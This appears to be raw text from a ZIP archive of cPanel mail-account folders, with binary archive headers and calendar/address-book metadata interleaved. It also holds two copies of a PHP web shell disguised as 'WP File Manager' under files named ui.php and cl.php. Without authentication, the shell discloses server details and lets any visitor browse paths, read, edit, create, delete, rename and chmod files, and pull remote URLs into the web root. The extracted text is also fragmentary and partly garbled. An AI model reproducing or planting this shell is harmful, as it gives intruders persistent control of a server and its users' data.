'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëweb@tali-ks.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]· é’BB$kosova@dunyagozbalkans.com/.metadatanu"º] €[calendar] type VCALENDAR protected 1 displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK“&{]É#–$BBsend@temjeku.com/.metadatanu„[µü¤[addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK [calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar PK“&{]„N9³§Ë§Ësend@temjeku.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
